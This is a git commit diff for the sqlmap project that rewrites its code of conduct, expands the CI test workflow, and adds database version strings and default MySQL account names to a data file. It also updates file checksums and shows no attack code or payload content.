Minor optimization

Co-authored-by: Chris (ChrisJr404) <[email protected]>

.github/CODE_OF_CONDUCT.md

@@ -1,46 +1,22 @@
-# Contributor Covenant Code of Conduct
+# Code of Conduct
 
-## Our Pledge
+## Our Goal
 
-In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation.
+The sqlmap project provides a professional, technical environment for contributors. We prioritize technical excellence and respectful collaboration.
 
-## Our Standards
+## Standards
 
-Examples of behavior that contributes to creating a positive environment include:
+Contributors are expected to:
 
-* Using welcoming and inclusive language
-* Being respectful of differing viewpoints and experiences
-* Gracefully accepting constructive criticism
-* Focusing on what is best for the community
-* Showing empathy towards other community members
+* Be respectful and professional in all communications.
+* Focus on the technical merits of the project.
+* Gracefully accept constructive criticism.
 
-Examples of unacceptable behavior by participants include:
+Unacceptable behavior includes:
 
-* The use of sexualized language or imagery and unwelcome sexual attention or advances
-* Trolling, insulting/derogatory comments, and personal or political attacks
-* Public or private harassment
-* Publishing others' private information, such as a physical or electronic address, without explicit permission
-* Other conduct which could reasonably be considered inappropriate in a professional setting
-
-## Our Responsibilities
-
-Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
-
-Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
-
-## Scope
-
-This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.
+* Harassment, personal attacks, or doxxing.
+* Any behavior that disrupts the technical progress of the project.
 
 ## Enforcement
 
-Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at dev@sqlmap.org. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.
-
-Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.
-
-## Attribution
-
-This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version]
-
-[homepage]: http://contributor-covenant.org
-[version]: http://contributor-covenant.org/version/1/4/
+The project maintainers have sole authority to moderate discussions and contributions. Decisions are made at the maintainers' discretion to ensure the project remains a focused and productive environment. Reports can be sent to `[email protected]`.

.github/workflows/tests.yml

@@ -3,10 +3,20 @@ on:
     branches: [ master ]
   pull_request:
     branches: [ master ]
+  workflow_dispatch:
+
+concurrency:
+  group: ci-${{ github.ref }}
+  cancel-in-progress: true
+
+permissions:
+  contents: read
 
 jobs:
   build:
     runs-on: ${{ matrix.os }}
+    timeout-minutes: 30
+
     strategy:
       matrix:
         include:
@@ -22,17 +32,94 @@ jobs:
         uses: actions/checkout@v4
         with:
           fetch-depth: 1
+          persist-credentials: false
 
       - name: Set up Python ${{ matrix.python-version }}
         uses: actions/setup-python@v5
         with:
           python-version: ${{ matrix.python-version }}
 
+      - name: Python sanity
+        run: python -VV
+
+      - name: Pyflakes lint
+        shell: bash
+        run: |
+          python - <<'PY'
+          from __future__ import print_function
+
+          import subprocess
+          import sys
+
+          subprocess.check_call([
+              sys.executable, "-m", "pip", "install", "pyflakes"
+          ])
+
+          files = subprocess.check_output(
+              ["git", "ls-files", "*.py"]
+          ).decode("utf-8").splitlines()
+
+          files = [
+              f for f in files
+              if not f.startswith("thirdparty/")
+          ]
+
+          proc = subprocess.Popen(
+              [sys.executable, "-m", "pyflakes"] + files,
+              stdout=subprocess.PIPE,
+              stderr=subprocess.STDOUT,
+          )
+          out, _ = proc.communicate()
+
+          text = out.decode("utf-8", "replace")
+          lines = [
+              line for line in text.splitlines()
+              if " redefines " not in line
+          ]
+
+          if lines:
+              print("\n".join(lines))
+              sys.exit(1)
+
+          if proc.returncode not in (0, 1):
+              if text:
+                  print(text)
+              print("pyflakes failed unexpectedly with status %s" % proc.returncode)
+              sys.exit(proc.returncode or 1)
+
+          print("pyflakes: clean")
+          PY
+
       - name: Basic import test
         run: python -c "import sqlmap; import sqlmapapi"
 
+      - name: Install optional test deps (lxml, jinja2)
+        # lxml has no PyPy-2.7 wheel and 5.x is Py3-only, so it cannot be pip-installed there. The
+        # tests that use it (test_xpath's real-XPath checks, and the --xpath/--ssti vuln-test
+        # endpoints) skip themselves when the engine is unavailable, so these deps are only needed
+        # on the Py3 jobs.
+        if: matrix.python-version != 'pypy-2.7'
+        run: python -m pip install -q lxml jinja2
+
+      - name: Unit tests
+        # -B: do not write .pyc files. On Python 2 / PyPy a cached .pyc makes a module's __file__
+        # point at the .pyc, which would make the later --smoke getFileType(__file__) doctest see
+        # 'binary' instead of 'text'. Keeping this step byte-compile-free leaves --smoke clean.
+        run: python -B -m unittest discover -s tests -p "test_*.py"
+
+      - name: Coverage
+        if: matrix.python-version != 'pypy-2.7'
+        run: |
+          python -m pip install coverage
+          python -m coverage run --source=lib,plugins,tamper -m unittest discover -s tests -p "test_*.py"
+          python -m coverage run -a --source=lib,plugins,tamper sqlmap.py --doc-test
+          python -m coverage report --fail-under=50
+
       - name: Smoke test
-        run: python sqlmap.py --smoke
+        run: python sqlmap.py --smoke-test
 
       - name: Vuln test
-        run: python sqlmap.py --vuln
+        run: python sqlmap.py --vuln-test
+
+      - name: API test
+        run: python sqlmap.py --api-test

.gitignore

@@ -5,4 +5,14 @@ __pycache__/
 traffic.txt
 *~
 req*.txt
-.idea/
+.idea/
+.aider*
+.DS_Store
+.github/.DS_Store
+data/.DS_Store
+extra/.DS_Store
+lib/.DS_Store
+plugins/.DS_Store
+thirdparty/.DS_Store
+CLAUDE.md
+.coverage

README.md

@@ -1,4 +1,4 @@
-# sqlmap ![](https://i.imgur.com/fe85aVR.png)
+# sqlmap ![](https://raw.githubusercontent.com/sqlmapproject/sqlmap/refs/heads/gh-pages/favicon-32.png)
 
 [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/[email protected])](https://x.com/sqlmap)
 

data/txt/common-outputs.txt

@@ -24,6 +24,34 @@
 9.2.
 9.3.
 
+# MariaDB (banner reported as e.g. '10.6.21-MariaDB-...')
+10.0.
+10.1.
+10.2.
+10.3.
+10.4.
+10.5.
+10.6.
+10.7.
+10.8.
+10.9.
+10.10.
+10.11.
+11.0.
+11.1.
+11.2.
+11.3.
+11.4.
+11.5.
+11.6.
+11.7.
+11.8.
+12.0.
+12.1.
+12.2.
+12.3.
+13.0.
+
 # PostgreSQL
 PostgreSQL 7.0
 PostgreSQL 7.1
@@ -51,6 +79,7 @@ PostgreSQL 14.
 PostgreSQL 15.
 PostgreSQL 16.
 PostgreSQL 17.
+PostgreSQL 18.
 
 # Oracle
 Oracle Database 9i Standard Edition Release
@@ -97,6 +126,9 @@ Microsoft SQL Server 2025
 'debian-sys-maint'@'localhost'
 'root'@'%'
 'root'@'localhost'
+'mysql.sys'@'localhost'
+'mysql.session'@'localhost'
+'mysql.infoschema'@'localhost'
 
 # MySQL < 5.0
 debian-sys-maint
@@ -420,6 +452,8 @@ XDBWEBSERVICES
 information_schema
 performance_schema
 mysql
+sys
+test
 phpmyadmin
 
 # PostgreSQL

data/txt/sha256sums.txt

@@ -25,7 +25,7 @@ c52c17f3344707cae4c3694a979e073202bd46866fcc51d99f7e4d0c21cf335b  data/shell/sta
 af4e1f87ec7afd12b7ddb39ff07bf24cd31be2b1de11e1be064e1dd96ff43eac  data/shell/stagers/stager.php_
 eb86f6ad21e597f9283bb4360129ebc717bc8f063d7ab2298f31118275790484  data/txt/common-columns.txt
 63ba15f2ba3df6e55600a2749752c82039add43ed61129febd9221eb1115f240  data/txt/common-files.txt
-9610fbd4ede776ab60d003c0ea052d68625921a53cdcfa50a4965b0985b619ca  data/txt/common-outputs.txt
+852b420157bbffb56947e4b201a7df5242e75443ab161049a50235eb4e8e9aae  data/txt/common-outputs.txt
 44047281263ef297f27fdd8fa98a0b0438a25989f897ce184cb0e2e442fb6c11  data/txt/common-tables.txt
 ccba96624a0176b4c5acd8824db62a8c6856dafa7d32424807f38efed22a6c29  data/txt/keywords.txt
 522cce0327de8a5dfb5ade505e8a23bbd37bcabcbb2993f4f787ccdecf24997e  data/txt/smalldict.txt
@@ -65,9 +65,9 @@ c5b9d622aca6da735e7ed9906e28c7e061e97c223ef92ba1a5d5028ecbb16962  data/udf/postg
 8f7f59a6896ae5b39e2afbfe8479a1f2637fb52220cc1e7158921e570d15fb2a  data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_
 7c2511b47ab9d0de1d77f1d775c6522285687ee82fec0edc11cada75ac3f29ae  data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_
 0a6d5fc399e9958477c8a71f63b7c7884567204253e0d2389a240d83ed83f241  data/udf/README.txt
-288592bbc7115870516865d5a92c2e1d1d54f11a26a86998f8829c13724e2551  data/xml/banner/generic.xml
-2adcdd08d2c11a5a23777b10c132164ed9e856f2a4eca2f75e5e9b6615d26a97  data/xml/banner/mssql.xml
-14b18da611d4bfad50341df89f893edf47cd09c41c9662e036e817055eaa0cfb  data/xml/banner/mysql.xml
+f52cd86ed1a1a710e10f2e85faa7c8c85892398c60ad6324f320f826a6ba46e3  data/xml/banner/generic.xml
+99f8f7311642bab38e1ffd59ca8f9a6110c4e3449d6c65b4812f2822088fd217  data/xml/banner/mssql.xml
+332d38de02c04f5d99fe3fd894c93aafd70032ee6de217c76dfaab2133d9eca9  data/xml/banner/mysql.xml
 6d1ab53eeac4fae6d03b67fb4ada71b915e1446a9c1cc4d82eafc032800a68fd  data/xml/banner/oracle.xml
 9f4ca1ff145cfbe3c3a903a21bf35f6b06ab8b484dad6b7c09e95262bf6bfa05  data/xml/banner/postgresql.xml
 86da6e90d9ccf261568eda26a6455da226c19a42cc7cd211e379cab528ec621e  data/xml/banner/server.xml
@@ -76,20 +76,21 @@ c5b9d622aca6da735e7ed9906e28c7e061e97c223ef92ba1a5d5028ecbb16962  data/udf/postg
 a7eb4d1bcbdfd155383dcd35396e2d9dd40c2e89ce9d5a02e63a95a94f0ab4ea  data/xml/banner/sharepoint.xml
 e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18  data/xml/banner/x-aspnet-version.xml
 3a440fbbf8adffbe6f570978e96657da2750c76043f8e88a2c269fe9a190778c  data/xml/banner/x-powered-by.xml
-0223157364ea212de98190e7c6f46f9d2ee20cf3d17916d1af16e857bb5dc575  data/xml/boundaries.xml
-02a7f6d6a0e023c3f087f78ab49cfb99e81df2b42e32718f877d90ab220486dc  data/xml/errors.xml
-d0b094a110bccec97d50037cc51445191561c0722ec53bf2cebe1521786e2451  data/xml/payloads/boolean_blind.xml
-88b8931a6d19af14e44a82408c250ed89295947575bbf3ff3047da1d37d1a1c1  data/xml/payloads/error_based.xml
-b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609  data/xml/payloads/inline_query.xml
+a32fc8796082d2e45cfc969f0b45ad476bf87a8515d67b2fed77c5058df5a0f5  data/xml/boundaries.xml
+23c3ac7f73c4db5beaf9df06c39a63571b29b3f3bee161e182a62c7fcc563054  data/xml/errors.xml
+43910a73d7de51e3541bfe4bdffe8923c73b0fbd74300912d4cec95d4f728673  data/xml/payloads/boolean_blind.xml
+c8d467837c8567b61a11e2dfd75a2d8305a8b317041ee81eda6d0e47609dabb7  data/xml/payloads/error_based.xml
+516a2ff314bba3ecf65d0371bf8c2654ad79b09c0737b1fe0f178d7885a9508d  data/xml/payloads/inline_query.xml
 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689  data/xml/payloads/stacked_queries.xml
-997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1  data/xml/payloads/time_blind.xml
+379fc92f2dadd948f401e17490d8a8f03a1988d817323cbe1feff5fe87726079  data/xml/payloads/time_blind.xml
 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089  data/xml/payloads/union_query.xml
-a2a2d3f8bf506f27ab0847ad4daa1fc41ca781dd58b70d2d9ac1360cf8151260  data/xml/queries.xml
+45aa5280edc0412a217498bd229651ff9c55afab44d555507ee5bdc27531de82  data/xml/queries.xml
+127799739f9aeabca367027197f3c0240f141303bd7499928ccfa1443bf148c7  doc/ARCHITECTURE.md
 0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465  doc/AUTHORS
 ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740  doc/CHANGELOG.md
-c8d5733111c6d1e387904bc14e98815f98f816f6e73f6a664de24c0f1d331d9b  doc/THANKS.md
-d7e38b213c70fe519fff2e06a9fd0dcfb1d8bed7787e37916cd14faaf002e167  doc/THIRD-PARTY.md
-25012296e8484ea04f7d2368ac9bdbcded4e42dbc5e3373d59c2bb3e950be0b8  doc/translations/README-ar-AR.md
+233fb10dff24a2436eb24496db7fadb46659da6745a0d53c744db701188041ef  doc/THANKS.md
+b6fcc489c6eaca2a7d0d031bd04fe28e6790ffe4dfd4bdf055b6dc83b992dc86  doc/THIRD-PARTY.md
+2af9b7a8c5f24de68f9b8b1bcf3a7f2b0e55fdb48b6545e1fc8b13f406ac97c2  doc/translations/README-ar-AR.md
 c25f7d7f0cc5e13db71994d2b34ada4965e06c87778f1d6c1a103063d25e2c89  doc/translations/README-bg-BG.md
 e85c82df1a312d93cd282520388c70ecb48bfe8692644fe8dbbf7d43244cda41  doc/translations/README-bn-BD.md
 00b327233fac8016f1d6d7177479ab3af050c1e7f17b0305c9a97ecdb61b82c9  doc/translations/README-ckb-KU.md
@@ -118,7 +119,7 @@ c4590a37dc1372be29b9ba8674b5e12bcda6ab62c5b2d18dab20bcb73a4ffbeb  doc/translatio
 8c4b528855c2391c91ec1643aeff87cae14246570fd95dac01b3326f505cd26e  extra/beep/beep.py
 509276140d23bfc079a6863e0291c4d0077dea6942658a992cbca7904a43fae9  extra/beep/beep.wav
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  extra/beep/__init__.py
-b8d919ad6c632a9f5b292ee6c0476e9b092a39c0727fe89d12102d1938217116  extra/cloak/cloak.py
+7f6394c9b3566bf93fc10020bc584aa8fac36dc11c3c523096eadc63ab243ec9  extra/cloak/cloak.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  extra/cloak/__init__.py
 6879b01859b2003fbab79c5188fce298264cd00300f9dcecbe1ffd980fe2e128  extra/cloak/README.txt
 4b6d44258599f306186a24e99d8648d94b04d85c1f2c2a442b15dc26d862b41e  extra/dbgtool/dbgtool.py
@@ -155,113 +156,128 @@ ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128  extra/shutils/
 3893c13c6264dd71842a3d2b3509dd8335484f825b43ed2f14f8161905d1b214  extra/shutils/pycodestyle.sh
 0525e3f6004eb340b8a1361072a281f920206626f0c8f6d25e67c8cef7aee78a  extra/shutils/pydiatra.sh
 763240f767c3d025cefb70dede0598c134ea9a520690944ae16a734e80fd98a0  extra/shutils/pyflakes.sh
-d12fd5916e97b2034ba7fbfa8da48f590dc10807119b97a9d27347500c610c2d  extra/shutils/pypi.sh
+07c500a13c9fca3ee2915bf00db9f064fa7d4aa1631989ef86f87828bdf60c11  extra/shutils/pypi.sh
 df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264  extra/shutils/recloak.sh
 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f  extra/shutils/strip.sh
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  extra/vulnserver/__init__.py
-9e5e4d3d9acb767412259895a3ee75e1a5f42d0b9923f17605d771db384a6f60  extra/vulnserver/vulnserver.py
-b8411d1035bb49b073476404e61e1be7f4c61e205057730e2f7880beadcd5f60  lib/controller/action.py
-ced1c82713afc1309c1495485b3d25a11c95af1f7460ea7922dbb96dacac37b4  lib/controller/checks.py
-430475857a37fd997e73a47d7485c5dd4aa0985ef32c5a46b5e7bff01749ba66  lib/controller/controller.py
-56e03690c1b783699c9f30cb2f8cc743d3716aba8137e6b253b21d1dd31a4314  lib/controller/handler.py
+617cec1b731e0baacafa6f58c2f56a85b6128d1416627cc1b2f61519c8539a2e  extra/vulnserver/vulnserver.py
+a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e  lib/controller/action.py
+6f3198df20330b6ff0eb7f615082ca7046e6887ac5d3e5df3598d36f66724e01  lib/controller/checks.py
+666935b658074dc9c42153622b75d4ec7bfe56fbe0742de827a5d30a1a0f9d96  lib/controller/controller.py
+d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f  lib/controller/handler.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/controller/__init__.py
-2a96190ced25d8929861b13866101812fcadf5cac23dd1dd4b29b1a915918769  lib/core/agent.py
-b13462712ec5ac07541dba98631ddcda279d210b838f363d15ac97a1413b67a2  lib/core/bigarray.py
-feb54568653fe94cb8b5ec55f537152d34c594e853815c6ffdd6c5ec7f4a257c  lib/core/common.py
-a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e  lib/core/compat.py
-a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2  lib/core/convert.py
+9c5764c92ce536d1f0f96200359ee5ef1f37f9128769bf990cb77f1d1f8e17b1  lib/core/agent.py
+c51c33501cc905586a9aaac93b06f2ac6f71628d032a7dc39fd0ef05d7ee3856  lib/core/bigarray.py
+d143df718fbaacb617b6046c73cf4e47932e1a25928a4e1ecb87ea77a3b154ed  lib/core/common.py
+8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5  lib/core/compat.py
+5301ba2204404d086e9a67271cde00fc10214c63b018a95fc5aa90ff9e0b2ad9  lib/core/convert.py
 c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6  lib/core/data.py
-6acb645b1f285b21673c70824b03f6209acc5993b50e50da5ed2c713a30626f5  lib/core/datatype.py
-70fb2528e580b22564899595b0dff6b1bc257c6a99d2022ce3996a3d04e68e4e  lib/core/decorators.py
+d9ec034a6d51ab4ddde0b6aa7ed306f9e0b1336557f77d7939ba547600f9b3ae  lib/core/datatype.py
+f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6  lib/core/decorators.py
 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d  lib/core/defaults.py
-6b366f897e66b9df39df2ee45fef77d46efb7a2d4e294440d3aa7dc1b2f4cedf  lib/core/dicts.py
-a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c  lib/core/dump.py
-1abf1edeacb85eaf5cffd35fcbde4eee2da6f5fc722a8dc1f9287fb55d138418  lib/core/enums.py
+8e4f4b5ea37a49d445bb0df83bf04b34f61035ec33fd8acf598ebcf371cb19a7  lib/core/dicts.py
+10d8bb671a64cc787fc2fbf2c641560b7797fccd62c4792e55dffe5efab9f544  lib/core/dump.py
+6dd47f52082e98dc0cda6969b277b7d81c6f7c68dac4688821f873a1c65c6edf  lib/core/enums.py
 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4  lib/core/exception.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/core/__init__.py
 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad  lib/core/log.py
-67ea32c993cbf23cdbd5170360c020ca33363b7c516ff3f8da4124ef7cb0254d  lib/core/optiondict.py
-8d12a0acbc5e71a40fb19e65af49cd665b10aa313e1b81b336387edf8dd2f14b  lib/core/option.py
-d9b37177efcaba035c7fabe7d015a3b63d9cfe502bb4998ff71e47f825eeaaca  lib/core/patch.py
+5a576f802f1298d0aa357e766ae6502fa53cacbbe0b1d328b7410a8b20a885b2  lib/core/optiondict.py
+98d3d61278794705c7039e40fab66a626e8d6ab765383c5379cec7a066b09301  lib/core/option.py
+21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc  lib/core/patch.py
 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec  lib/core/profiling.py
-03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04  lib/core/readlineng.py
-48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3  lib/core/replication.py
+0c36a65b6237732eb001d333f80f0c58c088ff01ae80cf07e4dcc6da2a806364  lib/core/readlineng.py
+9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d  lib/core/replication.py
 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6  lib/core/revision.py
 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c  lib/core/session.py
-f306a336d5861dd1af33871f64b4a6fb669df7ddf3ca036a104df52ec41dc978  lib/core/settings.py
-cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82  lib/core/shell.py
-bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725  lib/core/subprocessng.py
-70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6  lib/core/target.py
-ddf8c5a3dbebd6cdf8b8ba4417e36652d1e040f025175cb6487f1aebc0208836  lib/core/testing.py
-b5b65f018d6ef4b1ceeebbc50d372e07d4733267c9f3f4b13062efd065e847b6  lib/core/threads.py
+516d6b40efa04a5a25b0aa317ea49771f6964a57581777761f82d36d1b1b78b0  lib/core/settings.py
+c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750  lib/core/shell.py
+a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64  lib/core/subprocessng.py
+19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7  lib/core/target.py
+540443bdc23965be80d80185d7f3b54b632228af220dc2cb2e9cbb3f4fd4cea4  lib/core/testing.py
+95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86  lib/core/threads.py
 b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02  lib/core/unescaper.py
-10719f5ca450610ad28242017b2d8a77354ca357ffa26948c5f62d20cac29a8b  lib/core/update.py
-ec11fd5a3f4efd10a1cae288157ac6eb6fb75da4666d76d19f6adf74ac338b5a  lib/core/wordlist.py
+53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d  lib/core/update.py
+2400e465fa4d13e4c32795910878c71ff212e4361b46428d57ce43983f5e997c  lib/core/wordlist.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/__init__.py
 54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821  lib/parse/banner.py
-4c56ad26ffb893d37813167de172b6c95c120588bfdc899f102977a2997b9bb9  lib/parse/cmdline.py
+403ebb5b54531cf907a30ed439fc881cf3cbae68c3a4ec600c75312e5f6b9001  lib/parse/cmdline.py
 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158  lib/parse/configfile.py
 c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb  lib/parse/handler.py
 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c  lib/parse/headers.py
-1ad9054cd8476a520d4e2c141085ae45d94519df5c66f25fac41fe7d552ab952  lib/parse/html.py
+ea9b195e5f5030b96d1993c106c1e13fb5c7faaf6bdc5daacfd06ec984e7f323  lib/parse/html.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/parse/__init__.py
 d2e771cdacef25ee3fdc0e0355b92e7cd1b68f5edc2756ffc19f75d183ba2c73  lib/parse/payloads.py
-455ab0ec63e55cd56ce4a884b85bdc089223155008cab0f3696da5a33118f95b  lib/parse/sitemap.py
+c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec  lib/parse/sitemap.py
 1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c  lib/request/basicauthhandler.py
-1d5972aba14e4e340e3dde4f1d39a671020187fb759f435ba8b7f522dd4498fa  lib/request/basic.py
+369484a2999d29f49bf839a329d1686ed94f6ea27c695e027fe08c8da51f30a3  lib/request/basic.py
 bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e  lib/request/chunkedhandler.py
-09c2d8786fb5280f5f14a7b4345ecb2e7c2ca836ee06a6cf9b51770df923d94c  lib/request/comparison.py
-f3a457675d7c2b85c7d5da5e336baf2782eaf0abbcb2ecdeb3c0e88d5bb60528  lib/request/connect.py
+9c0dccc1cee66d38478aaf75a7c513d0d136d50a90b15fed146faa1653899fe1  lib/request/comparison.py
+729e07a2ca6b1d83563e9c6dc5a884d1b664c1764be06776ea93bde305164f0c  lib/request/connect.py
 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498  lib/request/direct.py
-cf019248253a5d7edb7bc474aa020b9e8625d73008a463c56ba2b539d7f2d8ec  lib/request/dns.py
-f56fc33251bd6214e3a6316c8f843eb192b2996aa84bd4c3e98790fdcf6e8cf0  lib/request/httpshandler.py
+a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0  lib/request/dns.py
+92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c  lib/request/httpshandler.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/request/__init__.py
-aeeeb5f0148078e30d52208184042efc3618d3f2e840d7221897aae34315824e  lib/request/inject.py
+7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab  lib/request/inject.py
+d1c5e4bda94394b5bb42c3b48b41b73ecb6069c3971af2c54394c9b35c2fed6e  lib/request/keepalive.py
 ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4  lib/request/methodrequest.py
 43a7fdf64e7ba63c6b2d641c9f999a63c12ac23b43b64fedfce4e05b863de568  lib/request/pkihandler.py
 b90feeb16e89a844427df42373b0139eb6f6cf3c48ccec32b3e3a3f540c2451e  lib/request/rangehandler.py
-47a97b264fb588142b102d18100030ce333ce372c677b97ed6cb04105c6c9d30  lib/request/redirecthandler.py
+fa347e74361904d052e4d5c958ebbdf080e4f7003176824a44786108b4d7afc6  lib/request/redirecthandler.py
 1bf93c2c251f9c422ecf52d9cae0cd0ff4ea2e24091ee6d019c7a4f69de8e5eb  lib/request/templates.py
 01600295b17c00d4a5ada4c77aa688cfe36c89934da04c031be7da8040a3b457  lib/takeover/abstraction.py
 d3c93562d78ebdaf9e22c0ea2e4a62adb12f0ce9e9d9631c1ea000b1a07d04ab  lib/takeover/icmpsh.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/takeover/__init__.py
 12e729e4828b7e1456ca41dae60cb4d7eca130a8b4c4885dd0f5501dcbda7fe4  lib/takeover/metasploit.py
 f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0  lib/takeover/registry.py
-f6e5d6e2ff368fa39943b2302982f33c47eb9a12d01419bef50fcf934b2bce34  lib/takeover/udf.py
+0787f78e6bd9bb21d4267c95c4c99806711bb57c5518485c2e25f10fcf9c41fc  lib/takeover/udf.py
 23d73af417604dab460b74cdc230896153f018a6c00d144019491053640a172f  lib/takeover/web.py
-14179e5273378ec8d63660a87c5cb07a42b61a6fceb7f3bb494a7b5ce10ce2cb  lib/takeover/xp_cmdshell.py
-69928272eed889033e106527f88454dc844bfbb375fcf7c22d5f76ee30c62c9b  lib/techniques/blind/inference.py
+8cc1e226d4150fe8aa1a056e5d32d858ed6444d3d4e2af7fb4bc08f0bbe9d527  lib/takeover/xp_cmdshell.py
+a66a4b9df6207dce722c9b71d290ea426723cb4b697b416065dc7dd5db96fe8e  lib/techniques/blind/inference.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/blind/__init__.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/dns/__init__.py
 3df9839fb92a81d46b6194d7adacb43f391efb78b071783c132e8d596ecbfaf1  lib/techniques/dns/test.py
-2934514a60cbcd48675053a73f785b4c7bfe606b51c34ae81a86818362ec4672  lib/techniques/dns/use.py
+74ca78082dcd20b3faf07cc944cd65ea552996df40e6fb58d0a011b262528456  lib/techniques/dns/use.py
 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3  lib/techniques/error/__init__.py
-f552b6140d4069be6a44792a08f295da8adabc1c4bb6a5e100f222f87144ca9d  lib/techniques/error/use.py
